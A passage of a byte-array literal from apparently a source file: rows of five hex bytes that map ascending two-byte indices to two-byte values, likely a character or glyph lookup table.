0x22, 0x47, 0x12,\r\n0x00, 0x15, 0x23, 0x48, 0x12,\r\n0x00, 0x15, 0x24, 0x49, 0x12,\r\n0x00, 0x15, 0x25, 0x4a, 0x12,\r\n0x00, 0x15, 0x26, 0x4b, 0x12,\r\n0x00, 0x15, 0x27, 0x4c, 0x12,\r\n0x00, 0x15, 0x28, 0x4d, 0x12,\r\n0x00, 0x15, 0x29, 0x4e, 0x12,\r\n0x00, 0x15, 0x2A, 0x4f, 0x12,\r\n0x00, 0x15, 0x2B, 0x05, 0x00,\r\n0x00, 0x15, 0x2C, 0x05, 0x00,\r\n0x00, 0x15, 0x2D, 0x50, 0x12,\r\n0x00, 0x15, 0x2E, 0x51, 0x12,\r\n0x00, 0x15, 0x2F, 0xb9, 0x00,\r\n0x00, 0x15, 0x30, 0x8f, 0x00,\r\n0x00, 0x15, 0x31, 0x52, 0x12,\r\n0x00, 0x15, 0x32, 0x53, 0x12,\r\n0x00, 0x15, 0x33, 0x54, 0x12,\r\n0x00, 0x15, 0x34, 0x55, 0x12,\r\n0x00, 0x15, 0x35, 0x56, 0x12,\r\n0x00, 0x15, 0x36, 0x57, 0x12,\r\n0x00, 0x15, 0x37, 0x58, 0x12,\r\n0x00, 0x15, 0x38, 0x59, 0x12,\r\n0x00, 0x15, 0x39, 0x5a, 0x12,\r\n0x00, 0x15, 0x3A, 0xe9, 0x01,\r\n0x00, 0x15, 0x3B, 0x5b, 0x12,\r\n0x00, 0x15, 0x3C, 0x5c, 0x12,\r\n0x00, 0x15, 0x3D, 0x5d, 0x12,\r\n0x00, 0x15, 0x3E, 0x5e, 0x12,\r\n0x00, 0x15, 0x3F, 0x5f, 0x12,\r\n0x00, 0x15, 0x40, 0x69, 0x01,\r\n0x00, 0x15, 0x41, 0x60, 0x12,\r\n0x00, 0x15, 0x42, 0xcb, 0x0d,\r\n0x00, 0x15, 0x43, 0x61, 0x12,\r\n0x00, 0x15, 0x44, 0x62, 0x12,\r\n0x00, 0x15, 0x45, 0x63, 0x12,\r\n0x00, 0x15, 0x46, 0x64, 0x12,\r\n0x00, 0x15, 0x47, 0x65, 0x12,\r\n0x00, 0x15, 0x48, 0x66, 0x12,\r\n0x00, 0x15, 0x49, 0x67, 0x12,\r\n0x00, 0x15, 0x4A, 0x68, 0x12,\r\n0x00, 0x15, 0x4B, 0x69, 0x12,\r\n0x00, 0x15, 0x4C, 0x6a, 0x12,\r\n0x00, 0x15, 0x4D, 0x6b, 0x12,\r\n0x00, 0x15, 0x4E, 0x6c, 0x12,\r\n0x00, 0x15, 0x4F, 0x6d, 0x12,\r\n0x00, 0x15, 0x50, 0x6e, 0x12,\r\n0x00, 0x15, 0x51, 0x6f, 0x12,\r\n0x00, 0x15, 0x52, 0x70, 0x12,\r\n0x00, 0x15, 0x53, 0x71, 0x12,\r\n0x00, 0x15, 0x54, 0x72, 0x12,\r\n0x00, 0x15, 0x55, 0x73, 0x12,\r\n0x00, 0x15, 0x56, 0xc4, 0x0c,\r\n0x00, 0x15, 0x57, 0x3f, 0x00,\r\n0x00, 0x15, 0x58, 0x54, 0x01,\r\n0x00, 0x15, 0x59, 0x74, 0x12,\r\n0x00, 0x15, 0x5A, 0x75, 0x12,\r\n0x00, 0x15, 0x5B, 0x76, 0x12,\r\n0x00, 0x15, 0x5C, 0x77, 0x12,\r\n0x00, 0x15, 0x5D, 0xb4, 0x03,\r\n0x00, 0x15, 0x5E, 0x78, 0x12,\r\n0x00, 0x15, 0x5F, 0x79, 0x12,\r\n0x00, 0x15, 0x60, 0xc9, 0x01,\r\n0x00, 0x15, 0x61, 0x7a, 0x12,\r\n0x00, 0x15, 0x62, 0x05, 0x00,\r\n0x00, 0x15, 0x63, 0x05, 0x00,\r\n0x00, 0x15, 0x64, 0x7b, 0x12,\r\n0x00, 0x15, 0x65, 0x7c, 0x12,\r\n0x00, 0x15, 0x66, 0x7d, 0x12,\r\n0x00, 0x15, 0x67, 0x7e, 0x12,\r\n0x00, 0x15, 0x68, 0x7f, 0x12,\r\n0x00, 0x15, 0x69, 0x80, 0x12,\r\n0x00, 0x15, 0x6A, 0x81, 0x12,\r\n0x00, 0x15, 0x6B, 0x82, 0x12,\r\n0x00, 0x15, 0x6C, 0x83, 0x12,\r\n0x00, 0x15, 0x6D, 0x84, 0x12,\r\n0x00, 0x15, 0x6E, 0x85, 0x12,\r\n0x00, 0x15, 0x6F, 0x86, 0x12,\r\n0x00, 0x15, 0x70, 0xa9, 0x04,\r\n0x00, 0x15, 0x71, 0x87, 0x12,\r\n0x00, 0x15, 0x72, 0x88, 0x12,\r\n0x00, 0x15, 0x73, 0x89, 0x12,\r\n0x00, 0x15, 0x74, 0x8a, 0x12,\r\n0x00, 0x15, 0x75, 0x8b, 0x12,\r\n0x00, 0x15, 0x76, 0x8c, 0x12,\r\n0x00, 0x15, 0x77, 0xc0, 0x00,\r\n0x00, 0x15, 0x78, 0x8d, 0x12,\r\n0x00, 0x15, 0x79, 0x8e, 0x12,\r\n0x00, 0x15, 0x7A, 0x8f, 0x12,\r\n0x00, 0x15, 0x7B, 0x90, 0x12,\r\n0x00, 0x15, 0x7C, 0x91, 0x12,\r\n0x00, 0x15, 0x7D, 0x92, 0x12,\r\n0x00, 0x15, 0x7E, 0x93, 0x12,\r\n0x00, 0x15, 0x7F, 0x94, 0x12,\r\n0x00, 0x15, 0x80, 0x95, 0x12,\r\n0x00, 0x15, 0x81, 0x13, 0x0c,\r\n0x00, 0x15, 0x82, 0x96, 0x12,\r\n0x00, 0x15, 0x83, 0x97, 0x12,\r\n0x00, 0x15, 0x84, 0x79, 0x05,\r\n0x00, 0x15, 0x85, 0x98, 0x12,\r\n0x00, 0x15, 0x86, 0x99, 0x12,\r\n0x00, 0x15, 0x87, 0x9a, 0x12,\r\n0x00, 0x15, 0x88, 0x9b, 0x12,\r\n0x00, 0x15, 0x89, 0x9c, 0x12,\r\n0x00, 0x15, 0x8A, 0x21, 0x02,\r\n0x00, 0x15, 0x8B, 0x9d, 0x12,\r\n0x00, 0x15, 0x8C, 0x9e, 0x12,\r\n0x00, 0x15, 0x8D, 0x9f, 0x12,\r\n0x00, 0x15, 0x8E, 0xa0, 0x12,\r\n0x00, 0x15, 0x8F, 0xa1, 0x12,\r\n0x00, 0x15, 0x90, 0xa2, 0x12,\r\n0x00, 0x15, 0x91, 0xa3, 0x12,\r\n0x00, 0x15, 0x92, 0xa4, 0x12,\r\n0x00, 0x15, 0x93, 0xa5, 0x12,\r\n0x00, 0x15, 0x94, 0xa6, 0x12,\r\n0x00, 0x15, 0x95, 0xa7, 0x12,\r\n0x00, 0x15, 0x96, 0xb9, 0x00,\r\n0x00, 0x15, 0x97, 0xa8, 0x12,\r\n0x00, 0x15, 0x98, 0xa9, 0x12,\r\n0x00, 0x15, 0x99, 0x4f, 0x02,\r\n0x00, 0x15, 0x9A, 0xb9, 0x00,\r\n0x00, 0x15, 0x9B, 0x69, 0x01,\r\n0x00, 0x15, 0x9C, 0xaa, 0x12,\r\n0x00, 0x15, 0x9D, 0xdb, 0x05,\r\n0x00, 0x15, 0x9E, 0xab, 0x12,\r\n0x00, 0x15, 0x9F, 0xac, 0x12,\r\n0x00, 0x15, 0xA0, 0xb9, 0x02,\r\n0x00, 0x15, 0xA1, 0xad, 0x12,\r\n0x00, 0x15, 0xA2, 0xb9, 0x00,\r\n0x00, 0x15, 0xA3, 0xb9, 0x00,\r\n0x00, 0x15, 0xA4, 0xb9, 0x00,\r\n0x00, 0x15, 0xA5, 0x46, 0x00,\r\n0x00, 0x15, 0xA6, 0xdf, 0x01,\r\n0x00, 0x15, 0xA7, 0xae, 0x12,\r\n0x00, 0x15, 0xA8, 0xb9, 0x00,\r\n0x00, 0x15, 0xA9, 0xaf, 0x12,\r\n0x00, 0x15, 0xAA, 0xb0, 0x12,\r\n0x00, 0x15, 0xAB, 0xb1, 0x12,\r\n0x00, 0x15, 0xAC, 0xb2, 0x12,\r\n0x00, 0x15, 0xAD, 0xb3, 0x12,\r\n0x00, 0x15, 0xAE, 0xb4, 0x12,\r\n0x00, 0x15, 0xAF, 0xb5, 0x12,\r\n0x00, 0x15, 0xB0, 0xb6, 0x12,\r\n0x00, 0x15, 0xB1, 0xb7, 0x12,\r\n0x00, 0x15, 0xB2, 0xf7, 0x01,\r\n0x00, 0x15, 0xB3, 0xb8, 0x12,\r\n0x00, 0x15, 0xB4, 0xb9, 0x12,\r\n0x00, 0x15, 0xB5, 0xba, 0x12,\r\n0x00, 0x15, 0xB6, 0xbb, 0x12,\r\n0x00, 0x15, 0xB7, 0x32, 0x00,\r\n0x00, 0x15, 0xB8, 0xbc, 0x12,\r\n0x00, 0x15, 0xB9, 0x4f, 0x02,\r\n0x00, 0x15, 0xBA, 0xbd, 0x12,\r\n0x00, 0x15, 0xBB, 0xbe, 0x12,\r\n0x00, 0x15, 0xBC, 0xbf, 0x12,\r\n0x00, 0x15, 0xBD, 0xc0, 0x12,\r\n0x00, 0x15, 0xBE, 0xc1, 0x12,\r\n0x00, 0x15, 0xBF, 0xc2, 0x12,\r\n0x00, 0x15, 0xC0, 0xc3, 0x12,\r\n0x00, 0x15, 0xC1, 0xd3, 0x03,\r\n0x00, 0x15, 0xC2, 0xc4, 0x12,\r\n0x00, 0x15, 0xC3, 0xc5, 0x12,\r\n0x00, 0x15, 0xC4, 0xc6, 0x12,\r\n0x00, 0x15, 0xC5, 0xd1, 0x05,\r\n0x00, 0x15, 0xC6, 0x05, 0x00,\r\n0x00, 0x15, 0xC7, 0x05, 0x00,\r\n0x00, 0x15, 0xC8, 0xc7, 0x12,\r\n0x00, 0x15, 0xC9, 0xc8, 0x12,\r\n0x00, 0x15, 0xCA, 0xc9, 0x12,\r\n0x00, 0x15, 0xCB, 0x3c, 0x10,\r\n0x00, 0x15, 0xCC, 0xca, 0x12,\r\n0x00, 0x15, 0xCD, 0xcb, 0x12,\r\n0x00, 0x15, 0xCE, 0xb9, 0x00,\r\n0x00, 0x15, 0xCF, 0xb9, 0x00,\r\n0x00, 0x15, 0xD0, 0xb9, 0x00,\r\n0x00, 0x15, 0xD1, 0xb9, 0x00,\r\n0x00, 0x15, 0xD2, 0xcc, 0x12,\r\n0x00, 0x15, 0xD3, 0xcd, 0x12,\r\n0x00, 0x15, 0xD4, 0xce, 0x12,\r\n0x00, 0x15, 0xD5, 0xcf, 0x12,\r\n0x00, 0x15, 0xD6, 0xd0, 0x12,\r\n0x00, 0x15, 0xD7, 0xd1, 0x12,\r\n0x00, 0x15, 0xD8, 0xd2, 0x12,\r\n0x00, 0x15, 0xD9, 0xd3, 0x12,\r\n0x00, 0x15, 0xDA, 0xd4, 0x12,\r\n0x00, 0x15, 0xDB, 0xd5, 0x12,\r\n0x00, 0x15, 0xDC, 0xd6, 0x12,\r\n0x00, 0x15, 0xDD, 0xd7, 0x12,\r\n0x00, 0x15, 0xDE, 0xb9, 0x02,\r\n0x00, 0x15, 0xDF, 0xd8, 0x12,\r\n0x00, 0x15, 0xE0, 0xce, 0x01,\r\n0x00, 0x15, 0xE1, 0xd9, 0x12,\r\n0x00, 0x15, 0xE2, 0xda, 0x12,\r\n0x00, 0x15, 0xE3, 0xdb, 0x12,\r\n0x00, 0x15, 0xE4, 0xdc, 0x12,\r\n0x00, 0x15, 0xE5, 0xdd, 0x12,\r\n0x00, 0x15, 0xE6, 0xde, 0x12,\r\n0x00, 0x15, 0xE7, 0xdf, 0x12,\r\n0x00, 0x15, 0xE8, 0x69, 0x01,\r\n0x00, 0x15, 0xE9, 0xe8, 0x04,\r\n0x00, 0x15, 0xEA, 0xe0, 0x12,\r\n0x00, 0x15, 0xEB, 0xe1, 0x12,\r\n0x00, 0x15, 0xEC, 0xe2, 0x12,\r\n0x00, 0x15, 0xED, 0xe3, 0x12,\r\n0x00, 0x15, 0xEE, 0xe4, 0x12,\r\n0x00, 0x15, 0xEF, 0xe5, 0x12,\r\n0x00, 0x15, 0xF0, 0xe6, 0x12,\r\n0x00, 0x15, 0xF1, 0xe7, 0x12,\r\n0x00, 0x15, 0xF2, 0x20, 0x0b,\r\n0x00, 0x15, 0xF3, 0xe8, 0x12,\r\n0x00, 0x15, 0xF4, 0xe9, 0x12,\r\n0x00, 0x15, 0xF5, 0xea, 0x12,\r\n0x00, 0x15, 0xF6, 0xeb, 0x12,\r\n0x00, 0x15, 0xF7, 0xec, 0x12,\r\n0x00, 0x15, 0xF8, 0xed, 0x12,\r\n0x00, 0x15, 0xF9, 0x05, 0x00,\r\n0x00, 0x15, 0xFA, 0x05, 0x00,\r\n0x00, 0x15, 0xFB, 0xee, 0x12,\r\n0x00, 0x15, 0xFC, 0xef, 0x12,\r\n0x00, 0x15, 0xFD, 0xf0, 0x12,\r\n0x00, 0x15, 0xFE, 0xf1, 0x12,\r\n0x00, 0x15, 0xFF, 0xf2, 0x12,\r\n0x00, 0x16, 0x00, 0xf3, 0x12,\r\n0x00, 0x16, 0x01, 0xa2, 0x06,\r\n0x00, 0x16, 0x02, 0xf4, 0x12,\r\n0x00, 0x16, 0x03, 0xf5, 0x12,\r\n0x00, 0x16, 0x04, 0xf6, 0x12,\r\n0x00, 0x16, 0x05, 0xf7, 0x12,\r\n0x00, 0x16, 0x06, 0xf8, 0x12,\r\n0x00, 0x16, 0x07, 0xf9, 0x12,\r\n0x00, 0x16, 0x08, 0xfa, 0x12,\r\n0x00, 0x16, 0x09, 0xfb, 0x12,\r\n0x00, 0x16, 0x0A, 0xfc, 0x12,\r\n0x00, 0x16, 0x0B, 0xfd, 0x12,\r\n0x00, 0x16, 0x0C, 0xfe, 0x12,\r\n0x00, 0x16, 0x0D, 0xff, 0x12,\r\n0x00, 0x16, 0x0E, 0x00, 0x13,\r\n0x00, 0x16, 0x0F, 0x01, 0x13,\r\n0x00, 0x16, 0x10, 0x02, 0x13,\r\n0x00, 0x16, 0x11, 0x03, 0x13,\r\n0x00, 0x16, 0x12, 0x04, 0x13,\r\n0x00, 0x16, 0x13, 0x05, 0x13,\r\n0x00, 0x16, 0x14, 0x06, 0x13,\r\n0x00, 0x16, 0x15, 0x07, 0x13,\r\n0x00, 0x16, 0x16, 0x08, 0x13,\r\n0x00, 0x16, 0x17, 0x09, 0x13,\r\n0x00, 0x16, 0x18, 0x0a, 0x13,\r\n0x00, 0x16, 0x19, 0x0b, 0x13,\r\n0x00, 0x16, 0x1A, 0x0c, 0x13,\r\n0x00, 0x16, 0x1B, 0x21, 0x0f,\r\n0x00, 0x16, 0x1C, 0x0d, 0x13,\r\n0x00, 0x16, 0x1D, 0xd3, 0x01,\r\n0x00, 0x16, 0x1E, 0x0e, 0x13,\r\n0x00, 0x16, 0x1F, 0x0f, 0x13,\r\n0x00, 0x16, 0x20, 0xbe, 0x09,\r\n0x00, 0x16, 0x21, 0x70, 0x07,\r\n0x00, 0x16, 0x22, 0x10, 0x13,\r\n0x00, 0x16, 0x23, 0x11, 0x13,\r\n0x00, 0x16, 0x24, 0x12, 0x13,\r\n0x00, 0x16, 0x25, 0x13, 0x13,\r\n0x00, 0x16, 0x26, 0xb9, 0x00,\r\n0x00, 0x16, 0x27, 0xd0, 0x06,\r\n0x00, 0x16, 0x28, 0x14, 0x13,\r\n0x00, 0x16, 0x29, 0x15, 0x13,\r\n0x00, 0x16, 0x2A, 0x16, 0x13,\r\n0x00, 0x16, 0x2B, 0x17, 0x13,\r\n0x00, 0x16, 0x2C, 0x18, 0x13,\r\n0x00, 0x16, 0x2D, 0x19, 0x13,\r\n0x00, 0x16, 0x2E, 0x1a, 0x13,\r\n0x00, 0x16, 0x2F, 0x1b, 0x13,\r\n0x00, 0x16, 0x30, 0x1c, 0x13,\r\n0x00, 0x16, 0x31, 0x1d, 0x13,\r\n0x00, 0x16, 0x32, 0x4f, 0x02,\r\n0x00, 0x16, 0x33, 0x1e, 0x13,\r\n0x00, 0x16, 0x34, 0x1f, 0x13,\r\n0x00, 0x16, 0x35, 0xc9, 0x01,\r\n0x00, 0x16, 0x36, 0x20, 0x13,\r\n0x00, 0x16, 0x37, 0x2b, 0x0e,\r\n0x00, 0x16, 0x38, 0x84, 0x03,\r\n0x00, 0x16, 0x39, 0x21, 0x13,\r\n0x00, 0x16, 0x3A, 0x22, 0x13,\r\n0x00, 0x16, 0x3B, 0x25, 0x0a,\r\n0x00, 0x16, 0x3C, 0x23, 0x13,\r\n0x00, 0x16, 0x3D, 0x3a, 0x04,\r\n0x00, 0x16, 0x3E, 0x24, 0x13,\r\n0x00, 0x16, 0x3F, 0x25, 0x13,\r\n0x00, 0x16, 0x40, 0x26, 0x13,\r\n0x00, 0x16, 0x41, 0x0a, 0x01,\r\n0x00, 0x16, 0x42, 0x27, 0x13,\r\n0x00, 0x16, 0x43, 0x28, 0x13,\r\n0x00, 0x16, 0x44, 0x29, 0x13,\r\n0x00, 0x16, 0x45, 0x2a, 0x13,\r\n0x00, 0x16, 0x46, 0x05, 0x00,\r\n0x00, 0x16, 0x47, 0x05, 0x00,\r\n0x00, 0x16, 0x48, 0x2b, 0x13,\r\n0x00, 0x16, 0x49, 0x2c, 0x13,\r\n0x00, 0x16, 0x4A, 0x7c, 0x08,\r\n0x00, 0x16, 0x4B, 0x2d, 0x13,\r\n0x00, 0x16, 0x4C, 0x2e, 0x13,\r\n0x00, 0x16, 0x4D, 0xd1, 0x06,\r\n0x00, 0x16, 0x4E, 0xb9, 0x02,\r\n0x00, 0x16, 0x4F, 0x2f, 0x13,\r\n0x00, 0x16, 0x50, 0x30, 0x13,\r\n0x00, 0x16, 0x51, 0x31, 0x13,\r\n0x00, 0x16, 0x52, 0x32, 0x13,\r\n0x00, 0x16, 0x53, 0x33, 0x13,\r\n0x00, 0x16, 0x54, 0x34, 0x13,\r\n0x00, 0x16, 0x55, 0x35, 0x13,\r\n0x00, 0x16, 0x56, 0xc5, 0x08,\r\n0x00, 0x16, 0x57, 0x36, 0x13,\r\n0x00, 0x16, 0x58, 0x37, 0x13,\r\n0x00, 0x16, 0x59, 0x38, 0x13,\r\n0x00, 0x16, 0x5A, 0x39, 0x13,\r\n0x00, 0x16, 0x5B, 0x3a, 0x13,\r\n0x00, 0x16, 0x5C, 0x3b, 0x13,\r\n0x00, 0x16, 0x5D, 0x3c, 0x13,\r\n0x00, 0x16, 0x5E, 0x99, 0x01,\r\n0x00, 0x16, 0x5F, 0x3d, 0x13,\r\n0x00, 0x16, 0x60, 0x69, 0x01,\r\n0x00, 0x16, 0x61, 0x3e, 0x13,\r\n0x00, 0x16, 0x62, 0x3f, 0x13,\r\n0x00, 0x16, 0x63, 0x40, 0x13,\r\n0x00, 0x16, 0x64, 0x41, 0x13,\r\n0x00, 0x16, 0x65, 0x42, 0x13,\r\n0x00, 0x16, 0x66, 0x43, 0x13,\r\n0x00, 0x16, 0x67, 0x44, 0x13,\r\n0x00, 0x16, 0x68, 0x45, 0x13,\r\n0x00, 0x16, 0x69, 0xef, 0x0d,\r\n0x00, 0x16, 0x6A, 0x46, 0x13,\r\n0x00, 0x16, 0x6B, 0x4f, 0x02,\r\n0x00, 0x16, 0x6C, 0x4f, 0x02,\r\n0x00, 0x16, 0x6D, 0x47, 0x13,\r\n0x00, 0x16, 0x6E, 0x48, 0x13,\r\n0x00, 0x16, 0x6F, 0x80, 0x10,\r\n0x00, 0x16, 0x70, 0x49, 0x13,\r\n0x00, 0x16, 0x71, 0x4a, 0x13,\r\n0x00, 0x16, 0x72, 0x4b, 0x13,\r\n0x00, 0x16, 0x73, 0x4c, 0x13,\r\n0x00, 0x16, 0x74, 0x4d, 0x13,\r\n0x00, 0x16, 0x75, 0xb9, 0x00,\r\n0x00, 0x16, 0x76, 0x80, 0x10,\r\n0x00, 0x16, 0x77, 0x4e, 0x13,\r\n0x00, 0x16, 0x78, 0xe9, 0x01,\r\n0x00, 0x16, 0x79, 0x4f, 0x13,\r\n0x00, 0x16, 0x7A, 0x50, 0x13,\r\n0x00, 0x16, 0x7B, 0x51, 0x13,\r\n0x00, 0x16, 0x7C, 0x52, 0x13,\r\n0x00, 0x16, 0x7D, 0x53, 0x13,\r\n0x00, 0x16, 0x7E, 0x54, 0x13,\r\n0x00, 0x16, 0x7F, 0x55, 0x13,\r\n0x00, 0x16, 0x80, 0x56, 0x13,\r\n0x00, 0x16, 0x81, 0x90, 0x02,\r\n0x00, 0x16, 0x82, 0x57, 0x13,\r\n0x00, 0x16, 0x83, 0x58, 0x13,\r\n0x00, 0x16, 0x84, 0x59, 0x13,\r\n0x00, 0x16, 0x85, 0x5a, 0x13,\r\n0x00, 0x16, 0x86, 0x5b, 0x13,\r\n0x00, 0x16, 0x87, 0x5c, 0x13,\r\n0x00, 0x16, 0x88, 0x5d, 0x13,\r\n0x00, 0x16, 0x89, 0x5e, 0x13,\r\n0x00, 0x16, 0x8A, 0x5f, 0x13,\r\n0x00, 0x16, 0x8B, 0x60, 0x13,\r\n0x00, 0x16, 0x8C, 0x61, 0x13,\r\n0x00, 0x16, 0x8D, 0x62, 0x13,\r\n0x00, 0x16, 0x8E, 0x63, 0x13,\r\n0x00, 0x16, 0x8F, 0xfd, 0x06,\r\n0x00, 0x16, 0x90, 0x64, 0x13,\r\n0x00, 0x16, 0x91, 0x65, 0x13,\r\n0x00, 0x16, 0x92, 0x8c, 0x01,\r\n0x00, 0x16, 0x93, 0x66, 0x13,\r\n0x00, 0x16, 0x94, 0x67, 0x13,\r\n0x00, 0x16, 0x95, 0x68, 0x13,\r\n0x00, 0x16, 0x96, 0x69, 0x13,\r\n0x00, 0x16, 0x97, 0x45, 0x00,\r\n0x00, 0x16, 0x98, 0x6a, 0x13,\r\n0x00, 0x16, 0x99, 0x6b, 0x13,\r\n0x00, 0x16, 0x9A, 0x6c, 0x13,\r\n0x00, 0x16, 0x9B, 0x6d, 0x13,\r\n0x00, 0x16, 0x9C, 0x05, 0x00,\r\n0x00, 0x16, 0x9D, 0x05, 0x00,\r\n0x00, 0x16, 0x9E, 0x6e, 0x13,\r\n0x00, 0x16, 0x9F, 0x6f, 0x13,\r\n0x00, 0x16, 0xA0, 0x70, 0x13,\r\n0x00, 0x16, 0xA1, 0x71, 0x13,\r\n0x00, 0x16, 0xA2, 0x72, 0x13,\r\n0x00, 0x16, 0xA3, 0x73, 0x13,\r\n0x00, 0x16, 0xA4, 0x74, 0x13,\r\n0x00, 0x16, 0xA5, 0x97, 0x0f,\r\n0x00, 0x16, 0xA6, 0x75, 0x13,\r\n0x00, 0x16, 0xA7, 0x76, 0x13,\r\n0x00, 0x16, 0xA8, 0x77, 0x13,\r\n0x00, 0x16, 0xA9, 0x78, 0x13,\r\n0x00, 0x16, 0xAA, 0x79, 0x13,\r\n0x00, 0x16, 0xAB, 0x7a, 0x13,\r\n0x00, 0x16, 0xAC, 0x7b, 0x13,\r\n0x00, 0x16, 0xAD, 0x7c, 0x13,\r\n0x00, 0x16, 0xAE, 0x9c, 0x06,\r\n0x00, 0x16, 0xAF, 0xe9, 0x01,\r\n0x00, 0x16, 0xB0, 0x7d, 0x13,\r\n0x00, 0x16, 0xB1, 0x7e, 0x13,\r\n0x00, 0x16, 0xB2, 0x7f, 0x13,\r\n0x00, 0x16, 0xB3, 0x80, 0x13,\r\n0x00, 0x16, 0xB4, 0x65, 0x00,\r\n0x00, 0x16, 0xB5, 0xb9, 0x00,\r\n0x00, 0x16, 0xB6, 0xf9, 0x0a,\r\n0x00, 0x16, 0xB7, 0x81, 0x13,\r\n0x00, 0x16, 0xB8, 0xbe, 0x09,\r\n0x00, 0x16, 0xB9, 0x82, 0x13,\r\n0x00, 0x16, 0xBA, 0x83, 0x13,\r\n0x00, 0x16, 0xBB, 0x84, 0x13,\r\n0x00, 0x16, 0xBC, 0xb9, 0x02,\r\n0x00, 0x16, 0xBD, 0x85, 0x13,\r\n0x00, 0x16, 0xBE, 0x86, 0x13,\r\n0x00, 0x16, 0xBF, 0x87, 0x13,\r\n0x00, 0x16, 0xC0, 0x88, 0x13,\r\n0x00, 0x16, 0xC1, 0x89, 0x13,\r\n0x00, 0x16, 0xC2, 0x12, 0x0b,\r\n0x00, 0x16, 0xC3, 0x8a, 0x13,\r\n0x00, 0x16, 0xC4, 0x8b, 0x13,\r\n0x00, 0x16, 0xC5, 0xe9, 0x01,\r\n0x00, 0x16, 0xC6, 0x8c, 0x13,\r\n0x00, 0x16, 0xC7, 0x05, 0x00,\r\n0x00, 0x16, 0xC8, 0x05, 0x00,\r\n0x00, 0x16, 0xC9, 0x8d, 0x13,\r\n0x00, 0x16, 0xCA, 0x69, 0x01,\r\n0x00, 0x16, 0xCB, 0x51, 0x03,\r\n0x00, 0x16, 0xCC, 0x8e, 0x13,\r\n0x00, 0x16, 0xCD, 0x8f, 0x13,\r\n0x00, 0x16, 0xCE, 0xe3, 0x11,\r\n0x00, 0x16, 0xCF, 0xe3, 0x11,\r\n0x00, 0x16, 0xD0, 0x90, 0x13,\r\n0x00, 0x16, 0xD1, 0x91, 0x13,\r\n0x00, 0x16, 0xD2, 0x92, 0x13,\r\n0x00, 0x16, 0xD3, 0xc9, 0x09,\r\n0x00, 0x16, 0xD4, 0x93, 0x13,\r\n0x00, 0x16, 0xD5, 0x94, 0x13,\r\n0x00, 0x16, 0xD6, 0x95, 0x13,\r\n0x00, 0x16, 0xD7, 0x96, 0x13,\r\n0x00, 0x16, 0xD8, 0x97, 0x13,\r\n0x00, 0x16, 0xD9, 0x98, 0x13,\r\n0x00, 0x16, 0xDA, 0x99, 0x13,\r\n0x00, 0x16, 0xDB, 0x4f, 0x02,\r\n0x00, 0x16, 0xDC, 0x9a, 0x13,\r\n0x00, 0x16, 0xDD, 0x9b, 0x13,\r\n0x00, 0x16, 0xDE, 0xc4, 0x01,\r\n0x00, 0x16, 0xDF, 0x9c, 0x13,\r\n0x00, 0x16, 0xE0, 0xf2, 0x00,\r\n0x00, 0x16, 0xE1, 0x9d, 0x13,\r\n0x00, 0x16, 0xE2, 0x36, 0x06,\r\n0x00, 0x16, 0xE3, 0xb7, 0x0f,\r\n0x00, 0x16, 0xE4, 0xf0, 0x07,\r\n0x00, 0x16, 0xE5, 0x9e, 0x13,\r\n0x00, 0x16, 0xE6, 0xf4, 0x0b,\r\n0x00, 0x16, 0xE7, 0x9f, 0x13,\r\n0x00, 0x16, 0xE8, 0xa0, 0x13,\r\n0x00, 0x16, 0xE9, 0xa1, 0x13,\r\n0x00, 0x16, 0xEA, 0x80, 0x10,\r\n0x00, 0x16, 0xEB, 0x80, 0x10,\r\n0x00, 0x16, 0xEC, 0xee, 0x06,\r\n0x00, 0x16, 0xED, 0xc2, 0x08,\r\n0x00, 0x16, 0xEE, 0xa2, 0x13,\r\n0x00, 0x16, 0xEF, 0xa3, 0x13,\r\n0x00, 0x16, 0xF0, 0xd1, 0x05,\r\n0x00, 0x16, 0xF1, 0xa4, 0x13,\r\n0x00, 0x16, 0xF2, 0xa5, 0x13,\r\n0x00, 0x16, 0xF3, 0xa6, 0x13,\r\n0x00, 0x16, 0xF4, 0xa7, 0x13,\r\n0x00, 0x16, 0xF5, 0xa8, 0x13,\r\n0x00, 0x16, 0xF6, 0xa9, 0x13,\r\n0x00, 0x16, 0xF7, 0x70, 0x02,\r\n0x00, 0x16, 0xF8, 0xaa, 0x13,\r\n0x00, 0x16, 0xF9, 0xab, 0x13,\r\n0x00, 0x16, 0xFA, 0xee, 0x01,\r\n0x00, 0x16, 0xFB, 0xe9, 0x01,\r\n0x00, 0x16, 0xFC, 0xac, 0x13,\r\n0x00, 0x16, 0xFD, 0xad, 0x13,\r\n0x00, 0x16, 0xFE, 0x93, 0x02,\r\n0x00, 0x16, 0xFF, 0xae, 0x13,\r\n0x00, 0x17, 0x00, 0xb9, 0x00,\r\n0x00, 0x17, 0x01, 0xaf, 0x13,\r\n0x00, 0x17, 0x02, 0xb0, 0x13,\r\n0x00, 0x17, 0x03, 0xb1, 0x13,\r\n0x00, 0x17, 0x04, 0xb2, 0x13,\r\n0x00, 0x17, 0x05, 0xb3, 0x13,\r\n0x00, 0x17, 0x06, 0xb4, 0x13,\r\n0x00, 0x17, 0x07, 0xb5, 0x13,\r\n0x00, 0x17, 0x08, 0xc9, 0x01,\r\n0x00, 0x17, 0x09, 0xb6, 0x13,\r\n0x00, 0x17, 0x0A, 0xb7, 0x13,\r\n0x00, 0x17, 0x0B, 0xb8, 0x13,\r\n0x00, 0x17, 0x0C, 0xb9, 0x13,\r\n0x00, 0x17, 0x0D, 0xba, 0x13,\r\n0x00, 0x17, 0x0E, 0x05, 0x00,\r\n0x00, 0x17, 0x0F, 0x05, 0x00,\r\n0x00, 0x17, 0x10, 0xbb, 0x13,\r\n0x00, 0x17, 0x11, 0xbc, 0x13,\r\n0x00, 0x17, 0x12, 0xbd, 0x13,\r\n0x00, 0x17, 0x13, 0xbe, 0x13,\r\n0x00, 0x17, 0x14, 0xbf, 0x13,\r\n0x00, 0x17, 0x15, 0xc0, 0x13,\r\n0x00, 0x17, 0x16, 0xc1, 0x13,\r\n0x00, 0x17, 0x17, 0xc2, 0x13,\r\n0x00, 0x17, 0x18, 0xc3, 0x13,\r\n0x00, 0x17, 0x19, 0xc4, 0x13,\r\n0x00, 0x17, 0x1A, 0xc5, 0x13,\r\n0x00, 0x17, 0x1B, 0xd3, 0x01,\r\n0x00, 0x17, 0x1C, 0xc6, 0x13,\r\n0x00, 0x17, 0x1D, 0xc7, 0x13,\r\n0x00, 0x17, 0x1E, 0xc8, 0x13,\r\n0x00, 0x17, 0x1F, 0xc9, 0x13,\r\n0x00, 0x17, 0x20, 0xca, 0x13,\r\n0x00, 0x17, 0x21, 0xcb, 0x13,\r\n0x00, 0x17, 0x22, 0xcc, 0x13,\r\n0x00, 0x17, 0x23, 0xcd, 0x13,\r\n0x00, 